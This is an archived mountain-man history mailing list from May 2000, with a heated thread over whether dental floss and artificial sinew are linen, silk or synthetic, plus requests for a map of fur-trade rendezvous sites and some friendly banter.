> >> wrong.......nice try..........
> >>
> >> Ron Chamberlain wrote:
> >>
> >> > Taken from http://www.dentaldigest.com/perio/floss.html
> >> > Ain't technology wonderful!
> >> >
> >> > COLGATE=AE TOTAL=AE Colgate
> >> > Description: A state-of-the-art, low-friction, Teflon=AE fiber ...=
...
> >> >
> >> > Glide=AE Floss W.L. Gore & Associates
> >> > Description: Made from expanded PTFE (polytetrafluorethylene), ...=
...
> >> >
> >> > JOHNSON & JOHNSON REACH=AE FLOSS Johnson & Johnson Description: Ny=
lon dental
> >> > floss ......
> >> >
> >> > JOHNSON & JOHNSON REACH=AE FLOSS EASY SLIDE=AE Johnson & Johnson
> >> > Description: Made of patented PTFE material ....
> >> >
> >> > PHB PERIO-FLOSS PHB, Inc.
> >> > Description: A USA-made acrylic yarn floss .....
> >> >
> >> > WISDOM DENTAL FLOSS Wisdom Toothbrush Co.
> >> > Description: Features 840 denier nylon strands. .....
> >> >
> >> > Wher'd you come up with linen???
> >> >
> >> > Ron
> >> >
> >> > >
> >> > >
> >> > > Really?  Is Dental Floss really Linen?  No kiddin'?  I always ju=
st
> >> assumed
> >> > it
> >> > > was some sort of space-age nylon or something.
> >> > > Where can I  find out for sure?
> >> > > Rick
> >> >
> >> > ----------------------
> >> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist=
.html
> >>
> >> ----------------------
> >> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.h=
tml
> >>
> >> ----------------------
> >> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.h=
tml
> >
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.htm=
l
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: don neighbors <[e-mail]>
Subject: MtMan-List: floss, made of silk
Date: 26 May 2000 12:09:16 -0500

Just look up the word floss, and it says it is made from silk !!!!!

[e-mail] wrote:

> A fellow list member Dave Tippetts has been educating me on some of the
> finer points of beaver trapping (Thanks Dave) and we have speculated on some
> of the following:
>
> What did they use to hoop up the pelts?  It would be a tremendous amount of
> twine and you don't see alot coming in the ledgers.  My thoughts include
> rawhide and maybe the intestines of the beaver themselves.  Haven't found
> any docs on this but I haven't found and docs on anything else that was
> used.
>
> A large beaver weighs alot.  We know that camptenders did alot of the
> skinning and hooping, but if I had alot of weight wouldn't it make sense  to
> "field" dress the hide and then flesh it at camp?
>
> The term regarding stick floating, does this only mean that the stick that
> secured the trap to the ground would float once beaver headed for deep water
> or was there also a method to "mark" your traps location by use of floating
> sticks.
>
> Osborne Russell list a recipe for lure.  Any other primary docs on lures?
>
> Wyeth mentions trapping beaver during the summer months as he traveled.  I
> believe James Audobon did as well although he was not a trapper.  How
> prevalent was summer trapping of beaver?
>
> What were the hides used for after the fur was shaved off?  Hide glue?
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: don neighbors <[e-mail]>
Subject: MtMan-List: 98 World Book Encyclopedia(floss)
Date: 26 May 2000 12:57:55 -0500

It says it is made from silk!!!!!!!! check it out, I said linen but I knew I
was close. I do check things out. How about some of you. Can not help what the
label says. Thanks.....

[e-mail] wrote:

> "Stewart had money from his mother"s estate as well as his miniscule army
> pay, and he traveled widely before sailing to the United States in 1832.
> Going on to St. Louis, Stewart became acquainted with several prominant fur
> traders, including Kenneth MacKenzie, William L. Sublette, and Robert
> Campbell.  With the latter, he journied to the Rockies in 1833."
> The Rocky Mountain Journals of William Marshall Anderson
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: Re: MtMan-List: 98 World Book Encyclopedia(floss)
Date: 26 May 2000 12:57:06 -0700



On Fri, 26 May 2000 12:57:55 -0500 don neighbors <[e-mail]>
writes:
> It says it is made from silk!!!!!!!! check it out, I said linen but I
> knew I
> was close. I do check things out. How about some of you. Can not
> help what the
> label says. Thanks.....
>
when the artificial senue first came out it was also made from silk and
thus the high strength---it would split good and easy and the fiber could
be controlled  the new stuff that you get from the roo's from the traders
is not silk and is extremely dificult to split---the old stuff also has a
different color the new stuff is more brown---and made of 3 main
strands---when you split more than 3 it gets to be a hassel to get it to
split right---the old stuff you could split down to 2 to 4 fibers and get
it to work good---silk had been around a long time but not pertant to our
personna and time frame that we study and work with---and yes pappy horn
and sid liked the expression---If the mountain man had had it he would
have used it and if it was available befor the time it question it should
be right---as you well know a lot of us do not agree with that form of
thinking---

it really depends on the camp you build your fire in and believe
in---Just my humbel opinion of course---
still with respect to the gray beards---remember close only counts in
horse shoes and hand granades in this group---

YMHOSANT
   =+=
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

________________________________________________________________
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From: [e-mail]
Subject: MtMan-List: Map of Rendezvous Sites
Date: 26 May 2000 13:38:07 EDT

Hi:  I'm new to this reflector, but am hoping for some help.  I need a map of
the rendezvous sites, particularly in CO, WY, and ID.   I was told by a
historian in Lander, WY that an author named "Gowan" from Utah State
University wrote a book on this subject and included maps.  I called Utah
State and no such person is there now, nor have I dug up any further
reference on Gowan, his book, or a map of the sites. Any help would be
appreciated.

Thanks,

Roger

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From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Map of Rendezvous Sites
Date: 26 May 2000 11:05:44 -0700

Roger,
The book is: "Rocky Mountain Rendezvous" by Fred R. Gowans.
ISBN 0-87905-193-0
Good book and has what your looking for.  Sells for (retail) $10.95

John Funk



----- Original Message -----
Sent: Friday, May 26, 2000 10:38 AM


> Hi:  I'm new to this reflector, but am hoping for some help.  I need a map
of
> the rendezvous sites, particularly in CO, WY, and ID.   I was told by a
> historian in Lander, WY that an author named "Gowan" from Utah State
> University wrote a book on this subject and included maps.  I called Utah
> State and no such person is there now, nor have I dug up any further
> reference on Gowan, his book, or a map of the sites. Any help would be
> appreciated.
>
> Thanks,
>
> Roger
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: [e-mail]
Subject: Re: MtMan-List: Map of Rendezvous Sites
Date: 26 May 2000 14:12:35 EDT

Dr. Fred R. Gowns, Professor of History at Brigham Young University (not
Univ. of Utah), is very much alive at well at BYU and has been for many
years.  Dr. Gowns is a leading fur trade authority and has written several
books on various aspects of the fur trade.  The book you are referencing is
"Rocky Mountain Rondezvous", Gibbs-Smith Publisher, and is probably the best
single source on Rondezvous locations, history of them etc.

Dr. Gowans will be speaking in September at the Fur Trade Symposium at Ft.
Union, North Dakota.  Good event to take in if you can get there.
Regards,
Patrick J. Surrena
Jim Baker Party, The American Mountain Men, #1449
Colorado

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From: [e-mail]
Subject: Re: MtMan-List: Map of Rendezvous Sites
Date: 26 May 2000 14:17:07 EDT

Wow!  Talk about fast response.  Thanks.

Roger

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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: 98 World Book Encyclopedia(floss)
Date: 26 May 2000 15:33:11 -0500

thank you!!!!!!!

[e-mail] wrote:

> On Fri, 26 May 2000 12:57:55 -0500 don neighbors <[e-mail]>
> writes:
> > It says it is made from silk!!!!!!!! check it out, I said linen but I
> > knew I
> > was close. I do check things out. How about some of you. Can not
> > help what the
> > label says. Thanks.....
> >
> when the artificial senue first came out it was also made from silk and
> thus the high strength---it would split good and easy and the fiber could
> be controlled  the new stuff that you get from the roo's from the traders
> is not silk and is extremely dificult to split---the old stuff also has a
> different color the new stuff is more brown---and made of 3 main
> strands---when you split more than 3 it gets to be a hassel to get it to
> split right---the old stuff you could split down to 2 to 4 fibers and get
> it to work good---silk had been around a long time but not pertant to our
> personna and time frame that we study and work with---and yes pappy horn
> and sid liked the expression---If the mountain man had had it he would
> have used it and if it was available befor the time it question it should
> be right---as you well know a lot of us do not agree with that form of
> thinking---
>
> it really depends on the camp you build your fire in and believe
> in---Just my humbel opinion of course---
> still with respect to the gray beards---remember close only counts in
> horse shoes and hand granades in this group---
>
> YMHOSANT
>    =+=
> HAWK
> Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
> 854 Glenfield Dr.
> Palm Harbor florida 34684
> E-Mail: [e-mail]   Web site:
> http://www.angelfire.com/fl2/mpierce
>
> ________________________________________________________________
> YOU'RE PAYING TOO MUCH FOR THE INTERNET!
> Juno now offers FREE Internet Access!
> Try it today - there's no risk!  For your FREE software, visit:
> http://dl.www.juno.com/get/tagj.
>
> ----------------------
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From: Allen Hall <[e-mail]>
Subject: MtMan-List: Flossed Hoops
Date: 26 May 2000 13:54:57 -0600

Hello,

This is one of the funniest deals we've ever debated!  Dental floss on
beaver hoops, oh my!

Guess I missed that on the trade lists.........

Have fun, I'm still laughing about this deal.

Allen

>


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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 26 May 2000 14:41:09 -0700

Ole:

Anything is possible, but I doubt it.  Regards, Paul


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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 26 May 2000 14:46:20 -0700

Don:

If I understand your disjointed message addressed to Miles, it would seem
that you are a fair measure off the mark, as he is as good as the best on
the trail, under any conditions.  He now devotes his time to pursuing "our
hobby" with a genuine intensity, having earlier been tested in much rougher
environments that most.  I am sorry that you do not like my friend, but
then.....oh well.

Regards,  Paul
----- Original Message -----
Sent: Friday, May 26, 2000 8:57 AM


> how my years have you spent in the mtns, a snide smart ass, very good!!!!
>
> D Miles wrote:
>
> > > also should I not believe the word of Sid Davis or Pappy Horn?
> >
> > Trust, but verify.Before you spout something as fact... I know some old
> > graybeards that have been good friends for years that if they told me
the
> > grass was green I would look first before I repeated it.
> > D
> >
> > "Abair ach beagan is abair gu math e"
> >           DOUBLE EDGE FORGE
> >   Period Knives & Iron Accoutrements
> >    http://www.bright.net/~deforge1
> >   "Knowing how is just the beginning"
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Paul W. Jones" <[e-mail]>
Subject: MtMan-List: John Kramer
Date: 26 May 2000 14:48:05 -0700

John, I have lost your e-mail address.  Would you be so kind as to reply so
that I may correspond with you off list.  My apologies to the list for
having posted this personal inquiry.  Paul


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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: floss, made of silk
Date: 26 May 2000 14:54:26 -0700

Dear Heavens Don.  Dental floss, now and for many years has been made of
assorted synthetic materials.  "Floss" is not dental floss.  I have hundreds
if not thousands of yards of silk floss which I use for fly tying (and even
more silk thread--which, although I have used it to catch a trout or three,
would be a very poor choice for flossing one's teeth).  I assure you, silk
floss would not stand the test of being used on  teeth, as it is as delicate
as can be imaged.  Some of the new "floss" used for fly tying is much more
durable, but it is wholly synthetic.  Regards, Paul
----- Original Message -----
Sent: Friday, May 26, 2000 10:09 AM


> Just look up the word floss, and it says it is made from silk !!!!!
>
> [e-mail] wrote:
>
> > A fellow list member Dave Tippetts has been educating me on some of the
> > finer points of beaver trapping (Thanks Dave) and we have speculated on
some
> > of the following:
> >
> > What did they use to hoop up the pelts?  It would be a tremendous amount
of
> > twine and you don't see alot coming in the ledgers.  My thoughts include
> > rawhide and maybe the intestines of the beaver themselves.  Haven't
found
> > any docs on this but I haven't found and docs on anything else that was
> > used.
> >
> > A large beaver weighs alot.  We know that camptenders did alot of the
> > skinning and hooping, but if I had alot of weight wouldn't it make sense
to
> > "field" dress the hide and then flesh it at camp?
> >
> > The term regarding stick floating, does this only mean that the stick
that
> > secured the trap to the ground would float once beaver headed for deep
water
> > or was there also a method to "mark" your traps location by use of
floating
> > sticks.
> >
> > Osborne Russell list a recipe for lure.  Any other primary docs on
lures?
> >
> > Wyeth mentions trapping beaver during the summer months as he traveled.
I
> > believe James Audobon did as well although he was not a trapper.  How
> > prevalent was summer trapping of beaver?
> >
> > What were the hides used for after the fur was shaved off?  Hide glue?
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: 98 World Book Encyclopedia(floss)
Date: 26 May 2000 14:58:13 -0700

List, I promise this is my last posting to Don on this subject.

Don,

The labels are accurate.  Do you simply not trust what you can read on the
labels?  Why in heavens name would a manufacturer mislabel a natural fiber
as a synthetic; moreover, why in the devil would they secretly use a more
expensive product when it does not have the strength of the cheaper
synthetic?
----- Original Message -----
Sent: Friday, May 26, 2000 10:57 AM


> It says it is made from silk!!!!!!!! check it out, I said linen but I knew
I
> was close. I do check things out. How about some of you. Can not help what
the
> label says. Thanks.....



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From: "Ratcliff" <[e-mail]>
Subject: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 26 May 2000 15:02:30 -0600

This is a multi-part message in MIME format.

------=_NextPart_000_0073_01BFC72B.694AE3A0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Ho the list
I am with Allen Hall.....this sniping match about dental floss is over =
the top.  If Letterman were this funny I would watch him again.  For =
what it's worth, Noah Webster's 1828 definition follows:

FLOSS, n.  [L. flos.]  A downy or silky substance in the husks of =
certain plants.

...nothing for "flos"

I am a little confused, though.  Who is or is not the snide smart ass =
and who is the dumb ass?  I could guess but I might leave somebody out.
YMOS
Lanney Ratcliff



------=_NextPart_000_0073_01BFC72B.694AE3A0
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    charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D3>Ho the list</FONT></DIV>
<DIV>I am with Allen Hall.....this sniping match about dental floss is =
over the=20
top.  If Letterman were this funny I would watch him again.  =
For what=20
it's worth, Noah Webster's 1828 definition <FONT =
size=3D3>follows:</FONT></DIV>
<DIV> </DIV>
<DIV>FLOSS, n.  [L. flos.]  A downy or silky substance in the =
husks of=20
certain plants.</DIV>
<DIV> </DIV>
<DIV>...nothing for "flos"<BR></DIV>
<DIV>I am a little confused, though.  Who is or is not the =
snide smart=20
ass and who is the dumb ass?  I could guess but I might leave =
somebody=20
out.</DIV>
<DIV>YMOS</DIV>
<DIV>Lanney Ratcliff</DIV>
<DIV> </DIV>
<DIV> </DIV></BODY></HTML>

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Map of Rendezvous Sites
Date: 26 May 2000 15:52:09 -0600

Go to Amazon.com, ISBN 0-8425-0787-6(p)  Rocky Mountain Rendezvous by Fred
R. Gowans
-----Original Message-----


>Hi:  I'm new to this reflector, but am hoping for some help.  I need a map
of
>the rendezvous sites, particularly in CO, WY, and ID.   I was told by a
>historian in Lander, WY that an author named "Gowan" from Utah State
>University wrote a book on this subject and included maps.  I called Utah
>State and no such person is there now, nor have I dug up any further
>reference on Gowan, his book, or a map of the sites. Any help would be
>appreciated.
>
>Thanks,
>
>Roger
>
>----------------------
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From: "Wynn & Gretchen Ormond" <[e-mail]>
Subject: MtMan-List: Floss
Date: 26 May 2000 04:18:04 -0600

This is a multi-part message in MIME format.

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Whoever said artifical sinew is just big dental floss is up in the =
night.  After several experimental runs all I can say is the stuff gums =
up more than the leather it sews!

Sorry couldn't resist.

WY


------=_NextPart_000_0035_01BFC6C9.63028960
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    charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Whoever said artifical sinew is just =
big dental=20
floss is up in the night.  After several experimental runs all I =
can say is=20
the stuff gums up more than the leather it sews!</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Sorry couldn't resist.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>WY</FONT></DIV>
<DIV> </DIV></BODY></HTML>

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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 26 May 2000 18:43:27 -0700

  Ya know, I bet if Jim Bridger had of had a DOG in camp he would have fed
him out of a DUTCH OVEN, and I bet he would have had him on a leash made of
BRAIDED ARTIFICIAL SINEW, and his collar would have been sewn with DENTAL
FLOSS.  How's that for a SNIDE SMART ASS remark ?  Now before all you folks
light up my personal e-mail, let it be known that I am a rude, crude,
insensitive, politically incorrect, old fart.  At least that is the rumor.
I do have a question though.  What in the hell has gone wrong when the folks
on this list argue, so strongly, over such B.S. ?
Yeah Buddy, if'n they'd had it, they'd a used !  Yes sirree Bob !
Pendleton
-----Original Message-----


Ho the list
I am with Allen Hall.....this sniping match about dental floss is over the
top.  If Letterman were this funny I would watch him again.  For what it's
worth, Noah Webster's 1828 definition follows:

FLOSS, n.  [L. flos.]  A downy or silky substance in the husks of certain
plants.

...nothing for "flos"

I am a little confused, though.  Who is or is not the snide smart ass and
who is the dumb ass?  I could guess but I might leave somebody out.
YMOS
Lanney Ratcliff





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-------------------------------------------------------------------------------

From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 26 May 2000 16:49:59 -0700

You said it, Larry....


----- Original Message -----
Sent: Friday, May 26, 2000 6:43 PM


>   Ya know, I bet if Jim Bridger had of had a DOG in camp he would have fed
> him out of a DUTCH OVEN, and I bet he would have had him on a leash made
of
> BRAIDED ARTIFICIAL SINEW, and his collar would have been sewn with DENTAL
> FLOSS.  How's that for a SNIDE SMART ASS remark ?  Now before all you
folks
> light up my personal e-mail, let it be known that I am a rude, crude,
> insensitive, politically incorrect, old fart.  At least that is the rumor.
> I do have a question though.  What in the hell has gone wrong when the
folks
> on this list argue, so strongly, over such B.S. ?
> Yeah Buddy, if'n they'd had it, they'd a used !  Yes sirree Bob !
> Pendleton
> -----Original Message-----
> From: Ratcliff <[e-mail]>
> To: History List <[e-mail]>
> Date: Friday, May 26, 2000 2:08 PM
> Subject: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
>
>
> Ho the list
> I am with Allen Hall.....this sniping match about dental floss is over the
> top.  If Letterman were this funny I would watch him again.  For what it's
> worth, Noah Webster's 1828 definition follows:
>
> FLOSS, n.  [L. flos.]  A downy or silky substance in the husks of certain
> plants.
>
> ...nothing for "flos"
>
> I am a little confused, though.  Who is or is not the snide smart ass and
> who is the dumb ass?  I could guess but I might leave somebody out.
> YMOS
> Lanney Ratcliff
>
>
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 26 May 2000 20:06:00 -0400

Heheh.. Ahhh Larry,
 Did you run outta tequila again and the lovely Wife hide yer truck keys?<G>
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 26 May 2000 19:41:57 -0700

Nope !  Got plenty.  Come on down to God's country, and we'll share a jug !
Pendleton
-----Original Message-----


Heheh.. Ahhh Larry,
Did you run outta tequila again and the lovely Wife hide yer truck keys?<G>
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 26 May 2000 21:42:01 -0400

Larry,
I heard that that is where Ol' Nick sends folks that says it ain't hot
enough in Hell for 'em... True?<G>
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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-------------------------------------------------------------------------------

From: Frank <[e-mail]>
Subject: Re: MtMan-List: 98 World Book Encyclopedia(floss)
Date: 26 May 2000 18:47:54 -0700

Okay, but be careful what you buy...there is actually dental floss made from
kevlar!
Now I know for sure they didn't have that in 1825!  :o)  Ha Ha!

Frank

don neighbors wrote:

> It says it is made from silk!!!!!!!! check it out, I said linen but I knew I
> was close. I do check things out. How about some of you. Can not help what the
> label says. Thanks.....
>
> [e-mail] wrote:
>
> > "Stewart had money from his mother"s estate as well as his miniscule army
> > pay, and he traveled widely before sailing to the United States in 1832.
> > Going on to St. Louis, Stewart became acquainted with several prominant fur
> > traders, including Kenneth MacKenzie, William L. Sublette, and Robert
> > Campbell.  With the latter, he journied to the Rockies in 1833."
> > The Rocky Mountain Journals of William Marshall Anderson
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Floss
Date: 26 May 2000 22:01:34 -0500


--------------190FA2AA4D697D10ECF16865
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Okay I give up what should a person sew with then.  Dental floss,fishing
line or  fake sinew.

Wynn & Gretchen Ormond wrote:

> Whoever said artifical sinew is just big dental floss is up in the
> night.  After several experimental runs all I can say is the stuff
> gums up more than the leather it sews! Sorry couldn't resist. WY

--------------190FA2AA4D697D10ECF16865
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<body bgcolor="#FFFFFF">
Okay I give up what should a person sew with then.  Dental floss,fishing
line or  fake sinew.
<p>Wynn & Gretchen Ormond wrote:
<blockquote TYPE=CITE><style></style>
<font face="Arial"><font size=-1>Whoever
said artifical sinew is just big dental floss is up in the night.
After several experimental runs all I can say is the stuff gums up more
than the leather it sews!</font></font> <font face="Arial"><font size=-1>Sorry
couldn't resist.</font></font> <font face="Arial"><font size=-1>WY</font></font> </blockquote>

</body>
</html>

--------------190FA2AA4D697D10ECF16865--


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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: 98 World Book Encyclopedia(floss)
Date: 26 May 2000 22:15:20 -0500

Okay I am sorry for all the problems. But the encyclopedia says the wax floss from
silk is used for cleaning between the teeth, finally comments.

Frank wrote:

> Okay, but be careful what you buy...there is actually dental floss made from
> kevlar!
> Now I know for sure they didn't have that in 1825!  :o)  Ha Ha!
>
> Frank
>
> don neighbors wrote:
>
> > It says it is made from silk!!!!!!!! check it out, I said linen but I knew I
> > was close. I do check things out. How about some of you. Can not help what the
> > label says. Thanks.....
> >
> > [e-mail] wrote:
> >
> > > "Stewart had money from his mother"s estate as well as his miniscule army
> > > pay, and he traveled widely before sailing to the United States in 1832.
> > > Going on to St. Louis, Stewart became acquainted with several prominant fur
> > > traders, including Kenneth MacKenzie, William L. Sublette, and Robert
> > > Campbell.  With the latter, he journied to the Rockies in 1833."
> > > The Rocky Mountain Journals of William Marshall Anderson
> > >
> > > ----------------------
> > > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Map of Rendezvous Sites
Date: 26 May 2000 21:43:08 -0700

patric---
got gowins e-mail address---been a while since i talked to him---

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Map of Rendezvous Sites
Date: 26 May 2000 21:32:43 -0700

roger
we just covered this recently look in the archives it will be
there---someone was building a map just like you were looking for---got a
lot of input on it---

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

________________________________________________________________
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From: [e-mail]
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 26 May 2000 21:58:40 -0700

my lanny do you have a way with words---you silver tounged devil---where
you roo'in now days---anything going in your area---want a trip to the
shining mountains this summer to climb kevis and play in the gold mine
but havent been able to convence the better half other than hog tyeing
her and leaving her in the corner with the killer kat----

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: [e-mail]
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 26 May 2000 21:53:57 -0700

don---

he was right about dennis---good shit---been there done that---got the
tee shirt---I spent over a year myself as a advisor for the indian scouts
in alaska---leave with what we were carying and come back in 2 or 3 mo in
the same shape or better with only what we left with---hell of a learning
curve---very step i might add---I thought i was goping to be the
teacher---wrong answer---thats for sure---dennis is one of those type
people so dont cut him short---a two hands and a knife guy---?????????

nuff said just my humbel opinion of course---\

YMHOSANT
   =++
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 26 May 2000 22:26:14 -0500

very well , you guys win............

[e-mail] wrote:

> don---
>
> he was right about dennis---good shit---been there done that---got the
> tee shirt---I spent over a year myself as a advisor for the indian scouts
> in alaska---leave with what we were carying and come back in 2 or 3 mo in
> the same shape or better with only what we left with---hell of a learning
> curve---very step i might add---I thought i was goping to be the
> teacher---wrong answer---thats for sure---dennis is one of those type
> people so dont cut him short---a two hands and a knife guy---?????????
>
> nuff said just my humbel opinion of course---\
>
> YMHOSANT
>    =++
> HAWK
> Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
> 854 Glenfield Dr.
> Palm Harbor florida 34684
> E-Mail: [e-mail]   Web site:
> http://www.angelfire.com/fl2/mpierce
>
> ________________________________________________________________
> YOU'RE PAYING TOO MUCH FOR THE INTERNET!
> Juno now offers FREE Internet Access!
> Try it today - there's no risk!  For your FREE software, visit:
> http://dl.www.juno.com/get/tagj.
>
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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 26 May 2000 21:34:00 -0700

It has been lately.
Pendleton
-----Original Message-----


Larry,
I heard that that is where Ol' Nick sends folks that says it ain't hot
enough in Hell for 'em... True?<G>
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Floss
Date: 26 May 2000 21:34:59 -0700

How about linen ?
Pendleton
-----Original Message-----


Okay I give up what should a person sew with then.  Dental floss,fishing
line or  fake sinew.

Wynn & Gretchen Ormond wrote:

> Whoever said artifical sinew is just big dental floss is up in the
> night.  After several experimental runs all I can say is the stuff
> gums up more than the leather it sews! Sorry couldn't resist. WY



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From: Randal J Bublitz <[e-mail]>
Subject: Re: MtMan-List: 98 World Book Encyclopedia(floss)
Date: 26 May 2000 19:49:19 -0700

Kevlar dental floss?...  Is that for those who shoot their mouths off????
    hardtack

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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: 98 World Book Encyclopedia(floss)
Date: 26 May 2000 21:53:29 -0700

OoooooooH HardTack !  That was good !
Pendleton
-----Original Message-----


Kevlar dental floss?...  Is that for those who shoot their mouths off????
    hardtack

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From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Floss
Date: 26 May 2000 19:54:57 -0700

This is a multi-part message in MIME format.

------=_NextPart_000_000E_01BFC74C.44FF7EE0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Linen thread is quite plentiful from various leather and textile supply =
houses.
John Funk
  ----- Original Message -----=20
  From: don neighbors=20
  To: [e-mail]=20
  Sent: Friday, May 26, 2000 8:01 PM
  Subject: Re: MtMan-List: Floss


  Okay I give up what should a person sew with then.  Dental =
floss,fishing line or  fake sinew.=20
  Wynn & Gretchen Ormond wrote:=20

    Whoever said artifical sinew is just big dental floss is up in the =
night.  After several experimental runs all I can say is the stuff gums =
up more than the leather it sews! Sorry couldn't resist. WY=20

------=_NextPart_000_000E_01BFC74C.44FF7EE0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3401" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV>Linen thread is quite plentiful from various leather and textile =
supply=20
houses.</DIV>
<DIV>John Funk</DIV>
<BLOCKQUOTE=20
